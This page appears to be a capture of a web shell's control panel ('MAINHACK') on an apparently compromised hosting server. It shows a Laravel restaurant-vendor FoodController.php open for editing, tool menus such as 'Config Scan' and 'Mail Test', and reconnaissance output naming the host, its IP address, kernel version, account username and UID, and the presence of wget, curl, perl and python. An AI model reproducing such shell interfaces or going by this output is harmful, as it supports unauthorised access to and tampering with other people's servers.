[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FoodController.php
<?php namespace App\Http\Controllers\Vendor; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Http\Request; use App\Models\Category; use App\Models\Food; use App\Models\Review; use Brian2694\Toastr\Facades\Toastr; use Carbon\Carbon; use Illuminate\Support\Facades\Storage; use App\CentralLogics\Helpers; use App\CentralLogics\ProductLogic; use Rap2hpoutre\FastExcel\FastExcel; use Illuminate\Support\Facades\DB; class FoodController extends Controller { public function index() { if(!Helpers::get_restaurant_data()->food_section) { Toastr::warning(trans('messages.permission_denied')); return back(); } $categories = Category::where(['position' => 0])->get(); return view('vendor-views.product.index', compact('categories')); } public function store(Request $request) { if(!Helpers::get_restaurant_data()->food_section) { return response()->json([ 'errors'=>[ ['code'=>'unauthorized', 'message'=>trans('messages.permission_denied')] ] ]); } $validator = Validator::make($request->all(), [ 'name' => 'required', 'category_id' => 'required', 'image' => 'required', 'price' => 'required|numeric|min:0.01', 'description' => 'max:1000', 'discount' => 'required|numeric|min:0', ], [ 'name.required' => 'Food name is required!', 'category_id.required' => 'category is required!', ]); if ($request['discount_type'] == 'percent') { $dis = ($request['price'] / 100) * $request['discount']; } else { $dis = $request['discount']; } if ($request['price'] <= $dis) { $validator->getMessageBag()->add('unit_price', 'Discount can not be more or equal to the price!'); } if ($request['price'] <= $dis || $validator->fails()) { return response()->json(['errors' => Helpers::error_processor($validator)]); } $food = new Food; $food->name = $request->name; $category = []; if ($request->category_id != null) { array_push($category, [ 'id' => $request->category_id, 'position' => 1, ]); } if ($request->sub_category_id != null) { array_push($category, [ 'id' => $request->sub_category_id, 'position' => 2, ]); } if ($request->sub_sub_category_id != null) { array_push($category, [ 'id' => $request->sub_sub_category_id, 'position' => 3, ]); } $food->category_id = $request->sub_category_id?$request->sub_category_id:$request->category_id; $food->category_ids = json_encode($category); $food->description = $request->description; $choice_options = []; if ($request->has('choice')) { foreach ($request->choice_no as $key => $no) { $str = 'choice_options_' . $no; if ($request[$str][0] == null) { $validator->getMessageBag()->add('name', 'Attribute choice option values can not be null!'); return response()->json(['errors' => Helpers::error_processor($validator)]); } $item['name'] = 'choice_' . $no; $item['title'] = $request->choice[$key]; $item['options'] = explode(',', implode('|', preg_replace('/\s+/', ' ', $request[$str]))); array_push($choice_options, $item); } } $food->choice_options = json_encode($choice_options); $variations = []; $options = []; if ($request->has('choice_no')) { foreach ($request->choice_no as $key => $no) { $name = 'choice_options_' . $no; $my_str = implode('|', $request[$name]); array_push($options, explode(',', $my_str)); } } //Generates the combinations of customer choice options $combinations = Helpers::combinations($options); if (count($combinations[0]) > 0) { foreach ($combinations as $key => $combination) { $str = ''; foreach ($combination as $k => $item) { if ($k > 0) { $str .= '-' . str_replace(' ', '', $item); } else { $str .= str_replace(' ', '', $item); } } $item = []; $item['type'] = $str; $item['price'] = abs($request['price_' . str_replace('.', '_', $str)]); array_push($variations, $item); } } //combinations end $food->variations = json_encode($variations); $food->price = $request->price; $food->set_menu = 0; $food->image = Helpers::upload('product/', 'png', $request->file('image')); $food->available_time_starts = $request->available_time_starts; $food->available_time_ends = $request->available_time_ends; $food->discount = $request->discount_type == 'amount' ? $request->discount : $request->discount; $food->discount_type = $request->discount_type; $food->attributes = $request->has('attribute_id') ? json_encode($request->attribute_id) : json_encode([]); $food->add_ons = $request->has('addon_ids') ? json_encode($request->addon_ids) : json_encode([]); $food->restaurant_id = Helpers::get_restaurant_id(); $food->save(); return response()->json([], 200); } public function view($id) { $product = Food::where(['id' => $id])->first(); $reviews=Review::where(['food_id'=>$id])->latest()->paginate(config('default_pagination')); return view('vendor-views.product.view', compact('product','reviews')); } public function edit($id) { if(!Helpers::get_restaurant_data()->food_section) { Toastr::warning(trans('messages.permission_denied')); return back(); } $product = Food::find($id); $product_category = json_decode($product->category_ids); $categories = Category::where(['parent_id' => 0])->get(); return view('vendor-views.product.edit', compact('product', 'product_category', 'categories')); } public function status(Request $request) { if(!Helpers::get_restaurant_data()->food_section) { Toastr::warning(trans('messages.permission_denied')); return back(); } $product = Food::find($request->id); $product->status = $request->status; $product->save(); Toastr::success('Food status updated!'); return back(); } public function update(Request $request, $id) { if(!Helpers::get_restaurant_data()->food_section) { return response()->json([ 'errors'=>[ ['code'=>'unauthorized', 'message'=>trans('messages.permission_denied')] ] ]); } $validator = Validator::make($request->all(), [ 'name' => 'required', 'category_id' => 'required', 'price' => 'required|numeric|min:0.01', 'description' => 'max:1000', 'discount' => 'required|numeric|min:0', ], [ 'name.required' => 'Food name is required!', 'category_id.required' => 'category is required!', ]); if ($request['discount_type'] == 'percent') { $dis = ($request['price'] / 100) * $request['discount']; } else { $dis = $request['discount']; } if ($request['price'] <= $dis) { $validator->getMessageBag()->add('unit_price', 'Discount can not be more or equal to the price!'); } if ($request['price'] <= $dis || $validator->fails()) { return response()->json(['errors' => Helpers::error_processor($validator)]); } $p = Food::find($id); $p->name = $request->name; $category = []; if ($request->category_id != null) { array_push($category, [ 'id' => $request->category_id, 'position' => 1, ]); } if ($request->sub_category_id != null) { array_push($category, [ 'id' => $request->sub_category_id, 'position' => 2, ]); } if ($request->sub_sub_category_id != null) { array_push($category, [ 'id' => $request->sub_sub_category_id, 'position' => 3, ]); } $p->category_id = $request->sub_category_id?$request->sub_category_id:$request->category_id; $p->category_ids = json_encode($category); $p->description = $request->description; $choice_options = []; if ($request->has('choice')) { foreach ($request->choice_no as $key => $no) { $str = 'choice_options_' . $no; if ($request[$str][0] == null) { $validator->getMessageBag()->add('name', 'Attribute choice option values can not be null!'); return response()->json(['errors' => Helpers::error_processor($validator)]); } $item['name'] = 'choice_' . $no; $item['title'] = $request->choice[$key]; $item['options'] = explode(',', implode('|', preg_replace('/\s+/', ' ', $request[$str]))); array_push($choice_options, $item); } } $p->choice_options = json_encode($choice_options); $variations = []; $options = []; if ($request->has('choice_no')) { foreach ($request->choice_no as $key => $no) { $name = 'choice_options_' . $no; $my_str = implode('|', $request[$name]); array_push($options, explode(',', $my_str)); } } //Generates the combinations of customer choice options $combinations = Helpers::combinations($options); if (count($combinations[0]) > 0) { foreach ($combinations as $key => $combination) { $str = ''; foreach ($combination as $k => $item) { if ($k > 0) { $str .= '-' . str_replace(' ', '', $item); } else { $str .= str_replace(' ', '', $item); } } $item = []; $item['type'] = $str; $item['price'] = abs($request['price_' . str_replace('.', '_', $str)]); array_push($variations, $item); } } //combinations end $p->variations = json_encode($variations); $p->price = $request->price; $p->set_menu = 0; $p->image = $request->has('image') ? Helpers::update('product/', $p->image, 'png', $request->file('image')) : $p->image; $p->available_time_starts = $request->available_time_starts; $p->available_time_ends = $request->available_time_ends; $p->discount = $request->discount_type == 'amount' ? $request->discount : $request->discount; $p->discount_type = $request->discount_type; $p->attributes = $request->has('attribute_id') ? json_encode($request->attribute_id) : json_encode([]); $p->add_ons = $request->has('addon_ids') ? json_encode($request->addon_ids) : json_encode([]); $p->save(); return response()->json([], 200); } public function delete(Request $request) { if(!Helpers::get_restaurant_data()->food_section) { Toastr::warning(trans('messages.permission_denied')); return back(); } $product = Food::find($request->id); if($product->image) { if (Storage::disk('public')->exists('product/' . $product['image'])) { Storage::disk('public')->delete('product/' . $product['image']); } } $product->delete(); Toastr::success('Food removed!'); return back(); } public function variant_combination(Request $request) { $options = []; $price = $request->price; $product_name = $request->name; if ($request->has('choice_no')) { foreach ($request->choice_no as $key => $no) { $name = 'choice_options_' . $no; $my_str = implode('', $request[$name]); array_push($options, explode(',', $my_str)); } } $result = [[]]; foreach ($options as $property => $property_values) { $tmp = []; foreach ($result as $result_item) { foreach ($property_values as $property_value) { $tmp[] = array_merge($result_item, [$property => $property_value]); } } $result = $tmp; } $combinations = $result; return response()->json([ 'view' => view('vendor-views.product.partials._variant-combinations', compact('combinations', 'price', 'product_name'))->render(), ]); } public function get_categories(Request $request) { $cat = Category::where(['parent_id' => $request->parent_id])->get(); $res = '<option value="' . 0 . '" disabled selected>---Select---</option>'; foreach ($cat as $row) { if ($row->id == $request->sub_category) { $res .= '<option value="' . $row->id . '" selected >' . $row->name . '</option>'; } else { $res .= '<option value="' . $row->id . '">' . $row->name . '</option>'; } } return response()->json([ 'options' => $res, ]); } public function list() { $foods = Food::latest()->paginate(config('default_pagination')); return view('vendor-views.product.list', compact('foods')); } public function search(Request $request){ $key = explode(' ', $request['search']); $foods=Food::where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('name', 'like', "%{$value}%"); } })->limit(50)->get(); return response()->json([ 'view'=>view('vendor-views.product.partials._table',compact('foods'))->render() ]); } public function bulk_import_index() { return view('vendor-views.product.bulk-import'); } public function bulk_import_data(Request $request) { if(!Helpers::get_restaurant_data()->food_section) { Toastr::warning(trans('messages.permission_denied')); return back(); } try { $collections = (new FastExcel)->import($request->file('products_file')); } catch (\Exception $exception) { Toastr::error('You have uploaded a wrong format file, please upload the right file.'); return back(); } $data = []; $skip = ['youtube_video_url']; foreach ($collections as $collection) { if ($collection['name'] === "" || $collection['category_id'] === "" || $collection['sub_category_id'] === "" || $collection['price'] === "" || empty($collection['available_time_starts']) === "" || empty($collection['available_time_ends']) || $collection['restaurant_id'] === "") { Toastr::error('Please fill all the required fields'); return back(); } array_push($data, [ 'name' => $collection['name'], 'category_id' => $collection['sub_category_id']?$collection['sub_category_id']:$collection['category_id'], 'category_ids' => json_encode([['id' => $collection['category_id'], 'position' => 0], ['id' => $collection['sub_category_id'], 'position' => 1]]), 'set_menu' => 0, //$request->item_type; 'price' => $collection['price'], 'discount' => $collection['discount'], 'discount_type' => $collection['discount_type'], 'description' => $collection['description'], 'available_time_starts' => $collection['available_time_starts'], 'available_time_ends' => $collection['available_time_ends'], 'image' => $collection['image'], 'restaurant_id' => Helpers::get_restaurant_id(), 'add_ons' => json_encode([]), 'attributes' => json_encode([]), 'choice_options' => json_encode([]), 'variations' => json_encode([]), 'created_at'=>now(), 'updated_at'=>now() ]); } DB::table('food')->insert($data); Toastr::success(count($data) . ' - Foods imported successfully!'); return back(); } public function bulk_export_index() { return view('vendor-views.product.bulk-export'); } public function bulk_export_data(Request $request) { if(!Helpers::get_restaurant_data()->food_section) { Toastr::warning(trans('messages.permission_denied')); return back(); } $request->validate([ 'type'=>'required', 'start_id'=>'required_if:type,id_wise', 'end_id'=>'required_if:type,id_wise', 'from_date'=>'required_if:type,date_wise', 'to_date'=>'required_if:type,date_wise' ]); $products = Food::when($request['type']=='date_wise', function($query)use($request){ $query->whereBetween('created_at', [$request['from_date'].' 00:00:00', $request['to_date'].' 23:59:59']); }) ->when($request['type']=='id_wise', function($query)use($request){ $query->whereBetween('id', [$request['start_id'], $request['end_id']]); }) ->where('restaurant_id', Helpers::get_restaurant_id()) ->get(); return (new FastExcel(ProductLogic::format_export_foods($products)))->download('Foods.xlsx'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624